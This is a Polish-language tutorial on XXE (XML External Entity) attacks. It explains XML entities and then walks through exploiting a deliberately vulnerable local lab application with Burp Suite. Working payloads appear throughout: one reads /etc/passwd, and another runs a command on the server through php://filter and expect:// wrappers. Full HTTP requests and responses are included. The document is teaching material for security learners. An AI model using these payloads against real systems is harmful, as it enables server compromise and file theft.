Aby zrozumieć atak XXE, który zajmuje czwarte miejsce w rankingu OWASP top 10, należy najpierw zacząć od formatu XML. W ramach przesyłania danych, niektóre z aplikacji internetowych wykorzystują format XML. Szczególnie ciekawą rzeczą w nim są encje, które można zdefiniować jako „operacje” do podmiany danych. Przykładowo, przy pliku XML zdefiniowanym jako:
<!--?xml version="1.0" ?-->
<!DOCTYPE user [
<!ENTITY example "The Ripper">
]>
<user>
<name>John</name>
<surname>&example;</surname>
</user>
Nasze nazwisko między tagami <surname>
zostanie podmienione, ponieważ odwołujemy się w nim do wartości encji „example”, która zdefiniowana jest jako „The Ripper”.
Specyfikacja XML pozwala także na czytanie zawartości plików a w niektórych przypadkach nawet na wywoływanie poleceń na serwerze. Przykład payloadu, jeśli aplikacja byłaby podatna, mógłby wystąpać następująco:
<!--?xml version="1.0" ?-->
<!DOCTYPE user [
<!ENTITY password SYSTEM "file:///etc/passwd">
]>
<user>
<name>John</name>
<surname>&password;</surname>
</user>
Słówko kluczowe „SYSTEM” jest informacją, że encja powinna być pobierana z pliku. Payload ostatecznie prowadzi do podatności path travelsal.
Przykład na żywej aplikacji
Przyjrzymy się repozytorium z przykładem podatnej aplikacji napisanej w phpie. Po ściągnięciu, zbudowaniu obrazu dockera i uruchomieniu kontenera, możemy wejść na stronę pod adresem 127.0.0.1:5000
. Powinniśmy zobaczyć interfejs jak na screenshocie poniżej.

Po przeanalizowaniu formularza rejestracji w narzędziu burpsuite, możemy zauważyć, że przesyłany request wygląda w sposób następujący:
POST /process.php HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 164
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://127.0.0.1:5000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>bugspace</name>
<tel>000000000</tel>
<email>bugspace@bugspace.pl</email>
<password>bugspacePassword</password>
</root>
Jak widzimy, nasze dane są przesyłany w postaci pliku xml. W odpowiedzi dostajemy:
HTTP/1.1 200 OK
Date: Tue, 10 Aug 2021 20:29:23 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Content-Length: 50
Connection: close
Content-Type: text/html
Sorry, bugspace@bugspace.pl is already registered!
Kluczowe jest to, że w odpowiedzi zostaje wyświetlony nasz email. Spróbujmy zatem nieco zmodyfikować nasz request.
POST /process.php HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 164
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://127.0.0.1:5000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY lsOutput SYSTEM "php://filter/convert.base64-encode/resource=expect://ls" >
]>
<root>
<name>bugspace</name>
<tel>000000000</tel>
<email>&lsOutput;</email>
<password>bugspacePassword</password>
</root>
Powyższy payload wykonuje polecenie na serwerze. W responsie dostajemy:
HTTP/1.1 200 OK
Date: Tue, 10 Aug 2021 20:32:12 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Vary: Accept-Encoding
Content-Length: 78
Connection: close
Content-Type: text/html
Sorry, aW1nICBpbmRleC5odG1sICBqcyAgcHJvY2Vzcy5waHANCg== is already registered!
Po odszyfrowaniu aW1nICBpbmRleC5odG1sICBqcyAgcHJvY2Vzcy5waHANCg==
dowiadujemy się, że nasz „email” to: img index.html js process.php
. Oznacza to, że atak powiódł się sukcesem.
Źródła
https://owasp.org/www-project-top-ten/
https://github.com/jbarone/xxelab
https://portswigger.net/web-security/xxe
https://github.com/payloadbox/xxe-injection-payload-list